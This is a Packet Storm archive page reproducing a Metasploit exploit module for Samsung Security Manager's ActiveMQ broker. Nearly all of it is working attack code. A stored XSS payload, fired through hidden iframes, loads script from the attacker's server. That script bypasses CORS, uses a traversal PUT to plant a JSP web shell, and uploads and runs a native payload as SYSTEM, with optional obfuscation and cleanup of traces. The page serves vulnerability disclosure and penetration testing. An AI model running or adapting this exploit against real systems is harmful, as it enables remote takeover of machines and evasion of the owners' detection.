Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution

2016-08-06T00:00:00
ID PACKETSTORM:138194
Type packetstorm
Reporter mr_me
Modified 2016-08-06T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",  
'Description' => %q{  
This is an exploit against Samsung Security Manager that bypasses the patch in  
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has  
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to  
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request  
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <mr_me[at]offensive-security.com>', # vuln + module  
],  
'References' =>  
[  
[ 'URL', 'http://metasploit.com' ]  
],  
'Platform' => 'win',  
'Targets' =>  
[  
# tested on 1.32, 1.4 & 1.5  
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],  
],  
'DisclosureDate' => "Aug 05 2016",  
'DefaultTarget' => 0))  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])  
], self.class)  
end  
  
# this is because String.fromCharCode has a max of 65535 func args  
# thanks to sinn3r for his help with the Array->String conversion  
def encode_js(string)  
i = 0  
encoded_0 = []  
encoded_1 = []  
string.each_byte do |c|  
if i > 65534  
encoded_1 << c  
else  
encoded_0 << c  
end  
i += 1  
end  
if i > 65534  
return encoded_0 * ",", encoded_1 * ","  
else  
return encoded_0 * ","  
end  
end  
  
# tested on Firefox v46.0.1 (latest)  
# tested on Chrome v50.0.2661.102 (latest release)  
# tested on IE v11.0.9600.18314 (latest)  
def on_request_uri(cli, request)  
  
js_name = rand_text_alpha(rand(10)+5) + '.js'  
  
payload_url = "http://"  
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name  
  
# we deliver the JavaScript code that does the work for us  
if (request.uri.match(/.js/))  
return if ((p = regenerate_payload(cli)) == nil)  
  
# dont exploit again otherwise we get a zillion shells  
return if session_created? or @exploited  
  
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'  
exe_name = rand_text_alpha(rand(10)+5) + '.exe'  
  
# clean just the jsp, because the exe dropper will be in use  
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")  
  
# our jsp upload, ensuring native code execution  
jsp = %Q|<%@ page import="java.io.*" %>  
<%  
ByteArrayOutputStream buf = new ByteArrayOutputStream();  
BufferedReader reader = request.getReader();  
int tmp;  
while ((tmp = reader.read()) != -1) { buf.write(tmp); }  
FileOutputStream fostream = new FileOutputStream("#{exe_name}");  
buf.writeTo(fostream);  
fostream.close();  
Runtime.getRuntime().exec("#{exe_name}");  
%>|  
  
# encode the payloads  
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))  
encoded_jsp = encode_js(jsp)  
  
# targets  
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"  
upload_uri = "http://localhost:8161/admin/#{jsp_name}"  
  
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->  
js_content = %Q|  
  
function do_put(uri, file_data) {  
var file_size = file_data.length;  
var xhr = new XMLHttpRequest();  
xhr.open("PUT", uri, true);  
var body = file_data;  
xhr.send(body);  
return true;  
}  
  
function do_upload(uri, file_data) {  
var file_size = file_data.length;  
var xhr = new XMLHttpRequest();  
xhr.open("POST", uri, true);  
var body = file_data;  
  
// latest ff doesnt have sendAsBinary(), so we redefine it  
if(!xhr.sendAsBinary){  
xhr.sendAsBinary = function(datastr) {  
function byteValue(x) {  
return x.charCodeAt(0) & 0xff;  
}  
var ords = Array.prototype.map.call(datastr, byteValue);  
var ui8a = new Uint8Array(ords);  
this.send(ui8a.buffer);  
}  
}  
xhr.sendAsBinary(body);  
return true;  
}  
  
function bye_bye_xss(uri){  
var xhr = new XMLHttpRequest();  
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);  
xhr.send();  
}  
  
function clean_up(){  
var xhr = new XMLHttpRequest();  
xhr.onreadystatechange = function() {  
if (xhr.readyState == XMLHttpRequest.DONE) {  
var els = xhr.responseXML.getElementsByTagName("a");  
for (var i = 0, l = els.length; i < l; i++) {  
var el = els[i];  
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {  
bye_bye_xss(el.href);  
}  
}  
}  
}  
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);  
xhr.responseType = "document"; // so that we can parse the reponse as a document  
xhr.send(null);  
}  
  
function exploit(){  
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));  
clean_up();  
}  
  
function start() {  
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));  
setTimeout(exploit(), 2000); // timing is important  
}  
start();  
|  
  
if datastore['OBFUSCATE']  
js_content = ::Rex::Exploitation::JSObfu.new(js_content)  
js_content.obfuscate  
end  
  
print_status("Sending javascript...")  
@exploited = true  
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })  
return  
end  
  
if datastore['OBFUSCATE']  
js_content = ::Rex::Exploitation::JSObfu.new(js_content)  
js_content.obfuscate  
onlick = ::Rex::Exploitation::JSObfu.new(onlick)  
onlick.obfuscate  
end  
  
iframe_injection = ""  
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few  
(1..20).step(1) do |n|  
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"  
end  
  
# the stored XSS endpoint  
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="  
  
# we use XSS to execute JavaScript code in local context to avoid CORS  
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"  
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""  
target << Rex::Text.uri_encode(xss_injection)  
  
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request  
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS  
html_content = %Q|  
<html>  
<body>  
<iframe src="#{target}" width="0" height="0"></iframe>  
#{iframe_injection}  
</body>  
</html>  
|  
print_status("Sending exploit...")  
send_response_html(cli, html_content)  
handler(cli)  
end  
end  
  
`